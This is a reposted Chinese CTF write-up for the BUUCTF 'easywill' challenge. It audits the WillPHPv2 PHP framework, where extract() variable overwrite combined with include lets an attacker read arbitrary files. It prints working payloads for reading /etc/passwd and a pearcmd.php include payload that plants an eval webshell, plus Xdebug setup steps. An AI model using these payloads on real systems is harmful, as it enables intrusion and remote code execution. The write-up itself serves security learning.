700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > 一 WillPHPv2代码审计-[变量覆盖]-[文件包含]-[任意文件读取漏洞]-[pearcmd裸文件包含]

一 WillPHPv2代码审计-[变量覆盖]-[文件包含]-[任意文件读取漏洞]-[pearcmd裸文件包含]

时间:2019-04-05 19:27:28

相关推荐

一 WillPHPv2代码审计-[变量覆盖]-[文件包含]-[任意文件读取漏洞]-[pearcmd裸文件包含]

时间戳——.12.12

0x01 [HXBCTF ]easywill_WriteUp:

一、PHPSTORM框架调试

第一步:登录buuctf,打开[HXBCTF ]easywill题目的容器环境

第二步:进入打开的的题目链接,发现有一段代码提示,以及两个选项,一个使开发手册,一个是下载新版本。(经过查看html源码没有提示,也没有www.zip和robots.txt,但是很明显发现这个是ThinkPHP、WillPHPv2版本的框架,因此我们之后打算下载PHP源码,然后放到PHPSTORM进行Xdebug框架调试)

代码提示给出的信息:一个assign函数、一个view()函数

第三步:点击开发手册,发现assign函数的功能

第四步:点击下载新版本,下载下来,放到本地环境中

第五步(可以不要):在app\controller\IndexController.php里面添加如下内容,尽量还原题目,就是给一个提示

第六步:开始在PHPSTORM调试

1、设置断点,传入参数

设置断点传入参数的方法:

传入参数的姿势:

传入参数的结果:

2、键入F7,步入:很明显,这个步入就是进入了assign函数,这里的\wiphp\View::asign()中的双冒号指的是所属空间

获得信息:assign()函数处于View类中

3、从上一步得知,我们需要跳转到assign函数所处的View类上,因此在上一步按住ctrl+点击View,发现在View.php里面,assign函数会把value参数的值赋值给vars数组的name键,这里就好像符合了assign在使用手册里面的功能了。

获得信息:assign函数会把value参数的值赋值给vars数组的name键

4、经过fetch函数–>render函数–>renderTo函数,最终停在了Template.php页面,发现了**【变量覆盖+文件包含】构成的【任意文件读取漏洞】**

extract($vars)的功能是:把vars数组的键值对,转换为变量和变量值的对应关系,如果该数组里的键与已存在的变量同名,则覆盖已有变量。所以我们构造可以传入的键值对vars[cfile]=任意可读文件,也就是传入?name=cfile&value=任意可读文件,我们就可以让后面的include $cfile成功的包含我们想要读取的可读文件。

5、本地添加一个测试文件test.txt,用来读取

6、在变量覆盖漏洞处打上断点,开启调试,按下两次F9恢复程序,传入参数,如下所示:

传入参数后的phpstorm页面

7、键入F7步入,就成功的跳转到了test.txt

第七步:总结漏洞的利用姿势:

第八步:在BUUCTF里面测试漏洞

1、我们在buuctf里面打开的题目链接里面,测试上述漏洞。由于靶机是linux操作系统,所以我们可以读取已有的文件/etc/passwd。

所以传入右边的参数,利用文件包含读取文件:index.php?name=cfile&value=/etc/passwd

2、也可以传入右边的参数,利用文件包含读取文件的源码:index.php?name=cfile&value=php://filter/convert.base64-encode/resource=/etc/passwd

解码内容:

root❌0:0:root:/root:/bin/ash

bin❌1:1:bin:/bin:/sbin/nologin

daemon❌2:2:daemon:/sbin:/sbin/nologin

adm❌3:4:adm:/var/adm:/sbin/nologin

lp❌4:7:lp:/var/spool/lpd:/sbin/nologin

sync❌5:0:sync:/sbin:/bin/sync

shutdown❌6:0:shutdown:/sbin:/sbin/shutdown

halt❌7:0:halt:/sbin:/sbin/halt

mail❌8:12:mail:/var/spool/mail:/sbin/nologin

news❌9:13:news:/usr/lib/news:/sbin/nologin

uucp❌10:14:uucp:/var/spool/uucppublic:/sbin/nologin

operator❌11:0:operator:/root:/sbin/nologin

man❌13:15👨/usr/man:/sbin/nologin

postmaster❌14:12:postmaster:/var/spool/mail:/sbin/nologin

cron❌16:16:cron:/var/spool/cron:/sbin/nologin

ftp❌21:21::/var/lib/ftp:/sbin/nologin

sshd❌22:22:sshd:/dev/null:/sbin/nologin

at❌25:25:at:/var/spool/cron/atjobs:/sbin/nologin

squid❌31:31:Squid:/var/cache/squid:/sbin/nologin

xfs❌33:33:X Font Server:/etc/X11/fs:/sbin/nologin

games❌35:35:games:/usr/games:/sbin/nologin

postgres❌70:70::/var/lib/postgresql:/bin/sh

cyrus❌85:12::/usr/cyrus:/sbin/nologin

vpopmail❌89:89::/var/vpopmail:/sbin/nologin

ntp❌123:123:NTP:/var/empty:/sbin/nologin

smmsp❌209:209:smmsp:/var/spool/mqueue:/sbin/nologin

guest❌405💯guest:/dev/null:/sbin/nologin

nobody❌65534:65534:nobody:/:/sbin/nologin

www-data❌82:82:Linux User,:/home/www-data:/sbin/nologin

nginx❌100:101:nginx:/var/lib/nginx:/sbin/nologin

二、pearcmd裸文件包含

1、裸文件包含的利用背景:不需要任何的配置docker默认有以下的漏洞

2、pearcmd.php命令通过readPHPArgv函数如何读取参数:

public static function readPHPArgv(){global $argv;if (!is_array($argv)) {if (!@is_array($_SERVER['argv'])) {if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {$msg = "Could not read cmd args (register_argc_argv=Off?)";return PEAR::raiseError("Console_Getopt: " . $msg);}return $GLOBALS['HTTP_SERVER_VARS']['argv'];}return $_SERVER['argv'];}return $argv;}

4、由于pearcmd命令读取参数的时候,可以从$ _SERVER[argv]中读取,$ _SERVER[argv]又可以从get请求字符串中读取

payload:

?+config-create+/&name=cfile&value=/usr/loca;/lib/php/pearcmd.php&/<?=eval($_POST[c]);?>+/tmp/test.php

整理:

/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[c]);?>+/tmp/shell.php

5、在BUUCTF的题目链接中测试payload

6、Brupsuite传入payload,利用漏洞寻找并获取flag信息

7、提交动态Flag:flag{ef9daf67-a65f-4b93-b13d-1d31e64e23a5}

附:怎么配置phpstorm+phpstudy+xdebug远程调试

注意:配置一个假的远程调试,我们就把源码放到本机(也就是127.0.0.1)的网站根目录WWW下的exp/willphpv2目录下第一步:访问/wizard,把phpinfo的内容贴进去,会返回我们可以使用的对应版本的xdebug第二步:访问/download/historical,下载对应版本的xdebug(比如5.6.27版本的php对应的xdebug文件是php_xdebug-2.5.5-5.6-vc11-nts.dll)第三步:把我们下载的xdebug文件放入,相应php版本的ext目录下,也就是放到该目录下L:\PHP\phpStudy\PHPTutorial\php\php-5.6.27-nts\ext第四步:打开phpstudy的php相应版本的php.ini配置文件,在最后输入以下内容:[XDebug]zend_extension="L:\PHP\phpStudy\PHPTutorial\php\php-5.6.27-nts\ext\php_xdebug-2.5.5-5.6-vc11-nts.dll"xdebug.remote_enable = Onxdebug.remote_handler = dbgpxdebug.remote_host= 127.0.0.1xdebug.remote_port = 9264xdebug.idekey = qwsnxdebug.profiler_output_dir="L:\PHP\phpStudy\PHPTutorial\tmp\xdebug"xdebug.trace_output_dir="L:\PHP\phpStudy\PHPTutorial\tmp\xdebug"第五步:配置phpstorm的Debug/DBGp/Servers点击file->点击settings->点击languages & frameworks->点击PHP->修改CLI Interpreter为PHP5.6.27版本接着点击Debug->填入Debug port:9264(这个端口与php.ini里的端口对应)接着点击DBGp Proxy->填入IDE Key:qwsn(这里与php.ini里的key对应)->填入Host:127.0.0.1(这里与php.ini里的对应)->填入Port:9264(与php.ini里的对应)接着点击Servers->点击+添加->填入Name:local_server(只是一个服务器名字,随便填写)->填入Host![在这里插入图片描述](https://img-/bae48e3e785042c6b81c999e7a57d0f9.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAcXdzbg==,size_20,color_FFFFFF,t_70,g_se,x_16):127.0.0.1(这里填的是本地phpstudy的服务器IP)->填入Port:80(注意,这个是本地phpstudy网站的默认端口)->Debugger选择Xdebug最后依次点击->apply->ok第六步:配置一个PHP Web Page点击run->点击edit configurations->点击左上角的+号->选择PHP Web Page->填入名字willphpv2(随便)->Server选择刚刚配置的local_server->Start URL选择我们网站根目录下的/exp/willphpv2/(因为我把willphpv2源码放到了网站根目录下的exp/willphpv2里面)->依次点击apply和ok

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。